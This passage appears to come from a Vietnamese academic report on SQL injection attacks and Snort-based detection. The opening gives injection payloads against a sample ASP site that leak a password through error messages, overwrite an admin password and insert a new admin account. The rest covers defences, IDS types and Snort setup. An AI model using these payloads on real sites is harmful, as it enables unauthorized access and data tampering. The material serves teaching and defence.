login_name='trinity' Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code của '+' là 0x2b) Chúng ta thêm chuỗi '(space)morpheus' vào cuối password để tạo ra một string mới không phải numeric string là '31173 morpheus' Khi hàm convert() được gọi để chuyển '31173 morpheus' sang integer, SQL server sẽ phát lỗi ODBC error message sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5
20
Trang 21Và nghĩa là bây giờ ta cũng có thể login vào với username 'trinity' và password là '31173'
10 Thay đổi dữ liệu (Update/Insert) của CSDL
Khi đã có tên của tất cả các column trong table, có thể sử dụng lệnh UPDATE hoặc INSERT để sửa đổi/tạo mới một record vào table này.
Để thay đổi password của "neo", có thể làm như sau:
http://yoursite.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' =
'newpas5' WHERE
login_name='neo' Hoặc nếu bạn muốn một record mới vào table:
http://yoursite.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id',
'login_name', 'password', 'details') VALUES
(666,'neo2','newpas5','NA') Và bây giờ có thể login vào với username "neo2" và password là "newpas5"
1.4 Các phương pháp ngăn chặn, phòng tránh, công cụ giám sát tấn công tiêm nhiễm SQL
Các nhà nghiên cứu đã đề xuất ra rất nhiều các biện pháp phòng chống và ngăn chặn tấn công tiêm nhiễm SQL Các biện pháp được thực thi ở các mức khác nhau từ ứng dụng web, trung gian đến CSDL Các biện pháp ngăn chặn tấn công tiêm nhiễm SQL có thể kể đến như sau:
Tham số hóa truy vấn: Sử dụng tham số hóa truy vấn là một trong những cách tốt nhất để
ngăn chặn việc tiêm nhiễm SQL Nó cũng đơn giản để viết và dễ hiểu hơn các truy vấn SQL động Phương pháp này nhắm tới việc ngăn chặn tấn công tiêm nhiễm SQL bằng cách cho phép nhà phát triển có thể xác định chính xác cấu trúc của câu truy vấn và truyền các tham số giá trị một cách táchbiệt Nếu người dung nhập “12345’ or 1=1 “ vào trường user_name thì truy vấn tham
số hóa sẽ tìm kiếm trong CSDL để khớp với toàn chuỗi
“12345’ or 1=1 “ Điều đó sẽ ngăn ngừa cấu trúc câu truy vấn bị thay đổi bởi bất kỳ đầu vào nào Sau đây là một số ngôn ngữ lập trình có áp dụng kỹ thuật này:
• Java EE - sử dụng PreparedStatement () với các biến liên kết
• NET - sử dụng các truy vấn được tham số hóa như SqlCommand () hoặc
OleDbCommand () với các biến liên kết
21
Trang 22• PHP - sử dụng PDO với các truy vấn được tham số hóa mạnh mẽ
• Hibernate - sử dụng createQuery () với các biến liên kết (được gọi là tham số có tên trong Hibernate)
• SQLite - sử dụng sqlite3_prepare () để tạo đối tượng câu lệnh Ví dụ trong PHP
$stmt = $dbh->prepare('SELECT * FROM customers
WHERE ssn = :ssn');
$stmt-> bindParam(':ssn' => $ssn);
Sử dụng các thủ tục lưu trữ: Các thủ tục được lưu trữ sẽ thêm một lớp bảo mật bổ sung
vào CSDL bên cạnh sử dụng truy vấn tham số Nó thực hiện giúp cho ứng dụng xử lý dữ liệu đầu vào dưới dạng thủ tục được xây dựng từ trước thay vì thực thi câu lệnh SQL trực tiếp
Các thủ tục được viết và lưu trữ trong máy chủ CSDL, sau đó được gọi từ ứng dụng web Nếu người dùng truy cập vào CSDL chỉ được phép thông qua các thủ tục được lưu trữ thì không cần thiết phải phân quyền người dùng trên các bảng dữ liệu Bằng cách này, tính an toàn của CSDL được nâng cao
Xác thực dữ liệu đầu vào của người dùng: Ngay cả khi sử dụng tham số trong truy vấn được
áp dụng, việc thực hiện xác thực đầu vào là cần thiết để đảm bảo các thuộc tính dữ liệu phù hợp như kiểu/ loại, độ dài, định dạng, Chỉ xử lý dữ liệu đầu vào đã qua xác thực cho CSDL
Với những kiểm soát đơn giản như kiểm soát về kiểu dữ liệu cũng có thể hạn chế đáng kể các cuộc tấn công Ví dụ, trường bankNumber được khai báo ở kiểu số Khi nhận dữ liệu đầu vào,
các ký tự không phải là số sẽ bị loại bỏ Mã hóa dữ liệu đầu vào: Tấn công tiêm nhiễm SQL
thường lợi dụng đưa các chuỗi ký tự đặc biệt hay các chuỗi được sử dụng trong ngữ pháp SQL như
OR, AND, UNION, … để tiêm nhiễm, đánh lừa CSDL Trong thực tế, giải pháp hạn chế nhập
những ký tự đặc biệt đã được áp dụng nhưng nó lại đi kèm với hạn chế làm giảm đi tính an toàn ở khía cạnh dữ liệu dễ bị suy đoán, dễ bị tiết lộ Vì vậy mà ngoài kết hợp với tham số hóa truy vấn, chuỗi dữ liệu đầu vào có thể được tiến hành mã hóa thay cho dạng plain text thông thường Việc mãhóa dữ liệu vừa hữu ích trong chống tấn công tiêm nhiễm SQL lại vừa có giá trị trong việc bảo mật thông tin
Ẩn thông tin của các thông báo: Thông báo lỗi rất hữu ích cho những kẻ tấn công tìm hiểu thêm
về kiến trúc CSDL Trong trường hợp tấn công suy đoán, kẻ tấn công có thể lợi dụng các thông báolỗi để hoàn thiện kiến thức, phương án tấn công Vì vậy thông báo lỗi nên chỉ hiển thị các thông tin cần thiết Tốt hơn hết là hiển thị thông báo lỗi chung cho biết có lỗi xảy ra và khuyến khích người dùng liên hệ với nhóm hỗ trợ kỹ thuật trong trường hợp sự cố vẫn còn
Hạn chế đặc quyền: không kết nối với cơ sở dữ liệu của bằng tài khoản có quyền truy cập root trừ
khi được yêu cầu vì những kẻ tấn công có thể có quyền truy cập vào toàn bộ hệ thống Do đó, tốt nhất là sử dụng một tài khoản có các đặc quyền hạn chế để giới hạn phạm vi thiệt hại trong trường hợp bị tấn công tiêm nhiễm SQL Ngoài ra, xác định người dùng khác nhau với các đặc quyền khác
22
Trang 23nhau và sử dụng trong quá trình phát triển có thể thực sự hữu ích trong việc giảm thiểu rủi ro của cuộc tấn công tiêm nhiễm SQL
Trên đây là một số phương pháp có thể được thực hiện ngay để giảm nguy cơ bị tấn công tiêm nhiễm SQL Tuy nhiên những phương pháp này lại phụ thuộc nhiều vào quá trình thiết kế, phát triển ứng dụng web cũng như CSDL
Bên cạnh đó, có thêm các giải pháp hỗ trợ với mục đích phát hiện và ngăn chặn tấn công tiêm nhiễm SQL như:
Phát hiện và ngăn chặn dựa trên chữ ký “signature”: Phương pháp này tập trung xây
dựng tập các mẫu tấn công tiêm nhiễm SQL có thể có Quá trình xây dựng đòi hỏi phải cập nhật thường xuyên các mẫu tấn công Phương pháp hoạt động tương tự như các chương trình anti – virus Khi có một truy vấn bất kỳ đến CSDL, nó sẽ được so sánh với các mẫu tấn công Nếu khớp mẫu tấn công, truy vấn sẽ bị chặn lại
Phát hiện và ngăn chặn trên bất thường: Ngược lại với phương pháp phát hiện và ngăn
chặn dựa trên chữ ký, phương pháp này xây dựng tập các mẫu hợp lệ Bất kỳ một truy vấn đến CSDL nằm ngoài tập mẫu này sẽ bị cho là tấn công và ngăn chặn lại
Phân tích mã: Phương pháp này sử dụng kiểm thử để phát hiện ra lỗ hổng của ứng dụng
Bộ kiểm thử sẽ sinh ra một loạt các dạng tấn công tiêm nhiễm SQL nhằm kiểm tra phản hồi của ứng dụng web Dựa vào kết quả trả về của bộ kiểm thử, nhà phát triển có thể xác định các lỗ hổng trên ứng dụng và tìm cách khắc phục các lỗ hổng này Một số bộ kiểm thử thông dụng với tấn công tiêm nhiễm SQL như SQLMap, Acunetix, Burp suite, Netsparker, …
Bên cạnh đó, các máy chủ cơ sở dữ liệu cần được cập nhật và vá lỗi đầy đủ, nên đặt sau
hệ thống tường lữa để tránh sự tương tác trực tiếp, điều này sẽ giúp tăng cường bảo mật.Trên
hệ thống cần có thêm các dịch vụ hay thiết bị dò tìm xâm phạm trai phép (IDS/IPS) như SNORT, Cisco IDS …
1.5 Kết chương
Chương 1 đã nêu lên một cách tổng về tấn công tiêm nhiễm SQL, các loại tấn công và một
số phương pháp phát hiện, ngăn chặn
23
Trang 24
Chương 2: Tổng quan về IDS/SNort trong SQL Injection
2.1 Hệ thống phát hiện xâm nhập (IDS)
2.1.1 IDS - Intrusion Detection System
IDS là một hệ thống phần mềm hoặc phần cứng chuyên dụng tự động thực hiện quy trình giám sát các sự kiện trong mạng, thực hiện phân tích những vấn đề an ninh cho hệ thống Chức năng chính của IDS là phát hiện xâm nhập trái phép vào hệ thống mạng, tăng khả năng giám sát các hoạt động trên mạng, cảnh báo và hỗ trợ ngăn chặn tấn công Những ưu điểm vượt trội mà IDS đem lại đó là khả năng phát hiện các cuộc tấn công, xâm nhập từ bên trong cũng như bên ngoài hệ thống, những thông tin hệ thống IDS cung cấp sẽ giúp chúng ta xác định phương thức
và loại tấn công, xâm nhập từ đó đưa ra được những phương án phòng chống phù hợp Tuy nhiên, IDS cũng có những nhược điểm nhất định Vì bản thân nó là một hệ thống giám sát thụ động, cơ chế ngăn chặn rất hạn chế (Không chống được tấn công) và phần lớn hệ thống IDS sẽ đưa ra các cảnh báo khi các cuộc tấn công, xâm nhập đã được thực hiện và gây ra ảnh hưởng đến
hệ thống
24
Trang 252.1.2 Phân loại IDS
2.1.2.1 Phân loại theo chức năng
Có 2 loại IDS chính :
• Host-based Intrusion Detection System (HIDS) – Một hệ thống có quyền truy cập trực tiếp vào cả mạng nội bộ và internet, HIDS chụp một 'hình ảnh' của tập tin của toàn bộ hệ thống và sau đó so sánh nó với một hình ảnh trước đó Nếu hệ thống tìm thấy sự khác biệtlớn, chẳng hạn như các tệp bị thiếu, v.v., thì nó ngay lập tức cảnh báo người quản trị
• Network-based Intrusion Detection System (NIDS) - Một hệ thống phân tích lưu lượng truy cập toàn bộ mạng con, NIDS theo dõi cả lưu lượng truy cập trong và ngoài, đến và đi
từ tất cả các thiết bị của mạng
a HOST-BASED INTRUSION DETECTION SYSTEMS (HIDS)
Host-based Intrusion Detection System (HIDS) ,Hệ thống phát hiện xâm nhập máy chủ, Kiểm tra các sự kiện trên máy tính trong mạng của người dùng thay vì lưu lượng truycập xung quanh hệ thống Nó chủ yếu hoạt động bằng cách xem xét dữ liệu trong các tệp quản trịtrên máy tính mà nó bảo vệ, các tệp đó bao gồm tệp nhật ký (log) và tệp cấu hình
Trang 26tính Loại IDS này giám sát hệ thống và nhật ký ứng dụng để phát hiện hoạt động của kẻ xâm nhập Một số IDS phản ứng khi một số hoạt động độc hại diễn ra, một số khác giám sát tất cả lưu lượng truy cập đến máy chủ nơi IDS được cài đặt và đưa ra cảnh báo theo thời gian thực
b NETWORK-BASED INTRUSION DETECTION (NIDS)
Network-based Intrusion Detection System (NIDS) còn được gọi là hệ thống phát hiện xâm nhập mạng hoặc IDS mạng, kiểm tra lưu lượng trên mạng của người dùng Như vậy, một NIDS điển hình phải bao gồm một bộ dò tìm gói để thu thập lưu lượng mạng để phân tích
Ảnh 1: Hệ thống NIDS
NIDS được cài đặt trên một phần cứng chuyên dụng Các giải pháp doanh nghiệp trả phí cao cấp đi kèm như một phần của bộ mạng với phần mềm được tải sẵn trên đó Tuy nhiên, người dùng không phải trả nhiều tiền cho phần cứng chuyên dụng NIDS yêu cầu một mô-đun cảm biến
để nhận lưu lượng, vì vậy người dùng có thể tải nó vào một bộ phân tích mạng LAN hoặc người dùng có thể chọn phân bổ một máy tính để chạy tác vụ Tuy nhiên, hãy đảm bảo rằng thiết bị mà người dùng chọn cho nhiệm vụ có đủ tốc độ xung nhịp để không làm chậm mạng của người dùng
Loại IDS này sẽ nắm bắt các gói dữ liệu được nhận và gửi trong mạng
26
Trang 27và kiểm đếm các gói đó từ cơ sở dữ liệu chữ ký nếu gói trùng khớp thì sẽ không có cảnh báo nào được đưa ra, nếu không nó sẽ đưa ra cảnh báo cho mọi người biết về một cuộc tấn công độc hại Snort là một ví dụ điển hình về NIDS.
2.1.2.1 Phân loại theo phương thức hoạt động
• Signature-based IDS (IDS dựa trên chữ kí)
IDS này xác minh chữ ký của các gói dữ liệu trong lưu lượng mạng Về cơ bản, nó tìm các gói dữ liệu và sử dụng chữ ký củachúng để xác nhận xem chúng có phải là mối đe dọa hay không Những chữ ký như vậy thường được biết đến là các chữ
ký liên quan đến xâm nhập hoặc các dấu hiệu bất thường liên quan đến giao thức internet Những kẻ xâm nhập như virus máy tính… luôn có dấu hiệu riêng nên phần mềm IDS có thể
dễ dàng phát hiện Vì nó sử dụng chữ ký để xác định các mối
đe dọa
• Anomaly-based IDS (IDS dựa trên bất thường)IDS này thường phát hiện xem gói dữ liệu có hoạt động bất thường hay không Nó đưa ra cảnh báo nếu có sự bất thường
về gói trong phần tiêu đề giao thức Hệ thống này tạo ra kết quả tốt hơn trong một số trường hợp so với IDS dựa trên chữ
ký Thông thường, các IDS như vậy thu thập dữ liệu từ mạng
và trên các gói này, sau đó áp dụng các quy tắc cho mạng để phát hiện các điểm bất thường
27
Trang 282.1.2 Giới thiệu một số IDS phổ biến
SolarWinds Security Event
Manager
Cả hai Không Không Có Không
2.2 Hệ thống phát hiện xâm nhập Snort (IDS/ Snort)
Snort là một ứng dụng bảo mật mới với 3 chức năng chính là: đánh hơi gói tin, theo dõi gói tin và sử dụng như một NIDS.
Nó khá phổ biến và là phần mềm nguồn mở giúp giám sát lưu lượng mạng trong thời gian thực, do đó nó cũng có thể được coi là một công cụ nghe lén gói tin Về cơ bản, nó kiểm tra sâu từng gói dữ liệu để xem liệu
có bất kỳ payload độc hại nào không Nó cũng có thể được sử dụng để phân tích giao thức mạng Nó có khả năng phát hiện các cuộc tấn công khác nhau như quét cổng, tràn bộ đệm( port scans, buffer overflow), v.v Nó có sẵn cho
28
Trang 29tất cả các nền tảng, ví dụ như Windows, Linux , v.v không yêu cầu biên dịch; Tuy nhiên, quyền root là bắt buộc Nó kiểm tra tất cả lưu lượng truy cậpmạng theo bộ quy tắc được cung cấp (rules) và sau đó cảnh báo về bất kỳ hoạt động đáng ngờ nào
Dưới đây Một số tính năng nổi bật của Snort:
• Thiết kế theo mô-đun xử lí
• Sử dụng cấu hình đơn giản vì có những cấu hình sẵn
• Hỗ trợ plugin framework (hơn 200 plugin)
• Tự động tạo tài liệu tham khảo
• Cấu hình cho bộ nhớ có thể mở rộng thêm
• Phân tích quy tắc và cú pháp
Tuy nhiên dưới đây cũng là 1 số nhược điểm của Snort:
• Rất phức tạp, ngay cả với các quy tắc được định cấu hình sẵn, yêu cầu có kiến thức chuyên môn sâu để hiểu rõ
• Quá tin cậy vào cộng đồng để được hỗ trợ, đôi khi sẽ không thể phát hiện ra những cuộc tấn công mới
Cấu trúc của Snort được xây dựng theo kiểu module, cho phép người dùng dễ dàng thêm các chứcnăng mới bằng cách cài đặt hoặc viết thêm các module Snort có thể hoạt động ở nhiều vị trí khác nhau trong mạng, tùy thuộc vào mục đích phát hiện các hoạt động xâm nhập Ví dụ:
2.2.1 Thành phần chính của Snort
Snort được chia thành nhiều thành phần và tất cả các thành
phần phối hợp với nhau để phát hiện sự xâm nhập Sau đây là các thành phần chính của snort:
1 Bộ giải mã gói tin - Packet Decoder
2 Các bộ tiền xử lý - PreProcessers
3 Máy phát hiện - Detection Engine
29
Trang 304 Hệ thống cảnh báo và ghi dấu - Logging and Alerting System
5 Môđun xuất - Output Modules
Hình 3.2: Kiến trúc của Agent thu thập, phân tích
Khi Snort hoạt động, nó sẽ lắng nghe tất cả các gói tin nào di chuyển qua nó Các gói tin sau khi bị bắt sẽ được đưa vào module giải mã Tiếp theo sẽ vào module tiền xử lý và rồi module phát hiện Tạiđây tùy vào việc có phát hiện được xâm nhập hay không mà gói tin có thể bỏ qua để lưu thông tin tiếp hoặc đưa vào module Log và cảnh báo để xử lý Khi các cảnh báo được xác định, Module kết xuất thông tin sẽ thực hiện việc đưa ra cảnh báo theo đúng định dạng mong muốn
Module giải mã gói tin:
Module giải mã gói tin bắt mọi gói tin trên mạng lưu thông qua hệ thống Bắt các gói
dữ liệu các nhau của tầng network (Ethernet, SLIP, PPP….);
Một gói tin sau khi được giải mã sẽ được đưa tiếp vào module tiền xử lý.
Module tiền xử lý: Thực hiện 3 nhiệm vụ chính:
Kết hợp lại các gói tin: Khi một dữ liệu lớn được gửi đi, thông tin sẽ không đóng gói toàn bộ vào một gói tin mà thực hiện phân mảnh, chia thành nhiều gói tin rồi mới gửi
đi Khi Snort nhận được các gói tin này, nó phải thực hiện kết nối lại để có gói tin ban đầu Module tiền xử lý giúp Agent có thể hiểu được các phiên làm việc khác nhau;
Giải mã và chuẩn hóa giao thức (decode/normalize): công việc phát hiện xâm nhập dựa trên dấu hiệu nhận dạng nhiều khi thất bại khi kiểm tra các giao thức có dữ liệu có thể được biểu diễn dưới nhiều dạng khác nhau.
Phát hiện các xâm nhập bất thường (nonrule/anormal): xử lý các xâm nhập không thể hoặc rất khó phát hiện bằng các luật thông thường.
30
Trang 31Module phát hiện:
Đây là module quan trọng nhất, nó chịu trách nhiệm phát hiện các dấu hiệu xâm nhập Module phát hiện sử dụng các luật được định nghĩa trước để so sánh với dữ liệu thu thập được, từ đó xác định xem có xâm nhập xảy ra hay không;
Một vấn đề quan trọng đối với module phát hiện và vấn đề thời gian xử lý gói tin: một IDS thường nhận rất nhiều gói tin và bản thân nó cũng có rất nhiều luật xử lý Khi lưu lượng mạng quá lớn có thể xảy ra việc bỏ sót hoặc không phản hồi đúng lúc Khả năng
xử lý của module phát hiện phụ thuộc vào nhiều yếu tố: số lượng các luật, tốc độ hệ thống, băng thông mạng;
Một module phát hiện có khả năng tách các phần của gói tin ra và áp dụng luật lên từng phần của gói tin:
+ IP header
+ Header ở tầng transport: TCP, UDP
+ Header ở tầng application: DNS, HTTP, FTP …
+ Phần tải của gói tin.
Module log và cảnh báo:
Tùy thuộc vào module phát hiện có nhận dạng được xâm nhập hay không mà gói tin có thể bị ghi log hay đưa ra cảnh báo Các file log là các file dữ liệu có thể ghi dưới nhiều định dạng khác nhau.
2.2.2 Rules trong snort
- Cấu trúc tệp luật của Snort gồm 2 phần là Rule Header | Rule Option
Cấu trúc : Rule Header | Rule Option
Phần Header: chứa thông tin về hành động mà luật đó sẽ thực hiện khi phát hiện ra có xâm nhập nằm trong gói tin và nó cũng chứa tiểu chuẩn để áp dụng luật với gói tin đó.
31
Trang 32Phần Option: chứa thông điệp cảnh báo và các thông tin về các phần của gói tin dùng
để tạo nên cảnh báo Phần Option chứa các tiêu chuẩn phụ thêm để đối sánh với gói tin Một option gồm 2 phần: một từ khóa và một tham số.
* Từ khóa ack
Trong header TCP có chứa trường Acknowledgement Number với độ dài 32 bit Trường này chỉ ra số thứ tự tiếp theo gói tin TCP của bên gửi đang được chờ để nhận Trường này chỉ có ý nghĩa khi mà cờ ACK được thiết lập Các công cụ như Nmap sử dụng đặc điểm này để ping một máy Ví dụ nó có thể gửi gói tin TCP tới cổng 80 với
cờ ACK được bật và số thứ tự là 0 Bởi vậy bên nhận thấy gói tin không hợp lệ sẽ gửi lại gói tin RST Và khi nhận được gói RST này, Nmap sẽ biết được IP này đang tồn tại hay không.
* Từ khóa classtype
Các luật có thể được phân loại và gán cho 1 số chỉ độ ưu tiên nào đó để nhóm và phân biệt chúng với nhau Để hiểu rõ hơn về classtype thì ta cần hiểu được file
classification.config Mỗi dòng trong file này đều có cấu trúc như sau:
Config classification: name, description, priority
Trang 33* Từ khóa fragbits
Phần IP header của gói tin chứa 3 bit dùng để chống phân mảnh và tổng hợp các gói tin IP Các bit đó là:
+ Reversed bit (RB) dùng để dành cho tương lai
+ Don’t Fragment Bit (DF): nếu bit này được thiết lập tức là gói tin không bị phân mảnh + More Fragments Bit (MF): nếu được thiết lập thì các phần khác của gói tin vẫn đang trên đường đi mà chưa tới đích Nếu bit này không được thiết lập thì đây là phần cuối cùng của gói tin.
2.2.3 Cách cài đặt Snort
33
Trang 34Hình 2.1 , Mô hình triển khai Snort IDS phát hiện cảnh báo SQL Injection
Bước 1,Cài đặt và cấu hình Snort trên máy Ubutu
cập nhật hệ thống sử dụng câu lệnh
apt-get update && apt-get upgrade
Sau đó cài đặt thư viện cần thiết
apt install build-essential libpcap-dev libpcre3-dev libnet1-dev zlib1g-dev luajit hwloc libdnet-dev libdumbnet-dev bison flex liblzma-dev openssl libssl-dev pkg-config libhwloc-dev cmake
cpputest libsqlite3-dev uuid-dev libcmocka-dev libnetfilter-queue-dev libmnl-dev autotools-dev libluajit-5.1-dev libunwind-dev -y
34
Trang 35sử dụng Ifconfig kiểm tra card mạng và địa chỉ ip :ens33 và ip 192.168.1.135
Dùng câu lệnh :sudo apt-get install snort* để cài đặt Snort
35
Trang 36- Cấu hình dải mạng cần bảo vệ
36
Trang 37- Vào file config Snort chỉnh sửa Ip cần bảo vệ nano /etc/snort/snort.conf
ipvar HOME_NET 192.168.1.135
37
Trang 38Bây giờ chạy lệnh dưới đây để kích hoạt chế độ IDS của snort:
sudo snort -A console -i ens33 -c /etc/snort/snort.conf
38
Trang 39Sau khi snort được cài đặt và định cấu hình, chúng ta có thể bắt đầu thực hiện các thay đổi đối với các quy tắc của nó theo yêu cầu và mong muốn của riêng mình Để biết các quy tắc hoạt động của snort, sử dụng lệnh sau:
cd /etc/snort/rules
ls -la
Bên dưới là các rules của snort
39